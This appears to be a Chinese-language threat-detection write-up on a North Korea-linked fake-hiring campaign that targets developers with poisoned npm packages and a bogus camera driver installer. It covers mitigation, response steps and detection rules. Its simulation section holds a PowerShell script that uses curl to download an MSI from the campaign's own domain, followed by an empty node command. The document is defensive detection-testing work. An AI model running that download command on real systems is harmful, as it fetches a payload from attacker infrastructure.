虚假招聘活动利用npm包瞄准开发者
Detection stack
- AIDR
- Alert
- ETL
- Query
总结
一个与朝鲜有关的高级威胁参与者正在利用虚假招聘流程来攻击开发人员。该活动遵循多阶段感染链,涉及虚假公司、中毒的 npm 包和恶意“相机驱动程序”安装程序。通过滥用 LinkedIn 和 GitHub 等可信专业平台,攻击者在初始接触时增加可信度并减少怀疑。
调查
JFrog 安全研究团队将该活动从一个恶意的 npm 包追踪到一个名为 AccuraSoftHire 的完全开发的诱骗公司。调查人员发现了一个协调的基础设施,涉及虚假的 LinkedIn 个人资料、一个具有说服力的招聘网站和多个一次性的 npm 账户。技术分析通过共享电子邮件地址和重复的代码标记将招聘者角色、GitHub 项目作者和 npm 包发布者联系在一起。
缓解措施
开发人员应将家庭作业编程任务视为不可信代码,只在隔离的一次性虚拟机或容器中运行。避免通过浏览器提供的安装命令,尤其是使用 curl 或 PowerShell 的命令。组织应通过审核依赖锁定文件和监控意外或未经授权的包更新来加强软件供应链安全。
响应
当检测到可疑的 npm 包或未授权的 VS Code 任务更改时,应立即隔离受影响的工作站。对最近的下载、浏览器活动和执行的命令进行法证分析。检查与 Chrome 本地消息传递主机相关的未经授权的计划任务或新注册表项。审查开发人员凭证和活动会话以减少会话劫持风险。
攻击流程
我们仍在更新此部分。
检测
潜在的恶意软件自我移除或 Stderr 掩盖操作(通过命令行)
可疑的 NodeJS 参数(通过命令行)
NodeJS 二进制文件从不常见位置执行(通过命令行)
可疑的 NodeJS 子进程 [Windows](通过命令行)
可疑的 CURL 使用(通过命令行)
脚本运行时发起的出站 TLS 连接(通过网络连接)
可能使用 Nohup 执行(通过命令行)
可疑的 Curl 执行尝试 [MacOS](通过命令行)
Nohup 使用(通过命令行)
通过标准工具进行远程文件上传/下载(通过命令行)
IOC(源IP)检测:传染性面试-距离感染仅一步之遥
IOC(目标IP)检测:传染性面试-距离感染仅一步之遥
通过命令行和节点执行进行恶意相机驱动程序安装 [Windows 进程创建]
假 Tailwind CSS 插件和恶意相机驱动程序安装程序检测 [Linux 进程创建]
模拟执行
先决条件:遥测和基线预飞检查必须已通过。
理由:此部分详细说明了为触发检测规则而设计的对手技术(TTP)的精确执行。命令和叙述必须直接反映所识别的 TTP,并旨在生成检测逻辑所期望的确切遥测。抽象或无关的示例将导致误诊。
-
攻击叙述和命令: 对手试图通过伪装为系统更新来建立持久性。在成功的社交工程诱饵后,攻击者执行
curl命令下载恶意 MSI 文件,命名为CameraDriverUpdate.msi以融入系统噪声。紧接着,攻击者执行node -e ""——一种用于测试环境或准备更复杂、混淆的 JavaScript 有效负载以规避简单检测的技术。特定驱动程序主题下载与空节点执行的结合是检测规则的主要触发因素。 -
回归测试脚本:
# 模拟脚本以触发检测规则。 # 该脚本模仿 Sigma 规则中识别的特定字符串。 $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win" $FileName = "CameraDriverUpdate.msi" $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`"" Write-Host "[+] 执行恶意 curl 命令..." -ForegroundColor Yellow Invoke-Expression $FullCurlCmd Write-Host "[+] 执行空节点命令..." -ForegroundColor Yellow node -e "" Write-Host "[+] 模拟完成。检查 SIEM 以获取警报。" -ForegroundColor Green -
清理命令:
# 清理脚本以移除模拟过程中创建的工件。 if (Test-Path "CameraDriverUpdate.msi") { Remove-Item "CameraDriverUpdate.msi" -Force Write-Host "[+] 删除恶意 MSI 工件。" -ForegroundColor Cyan }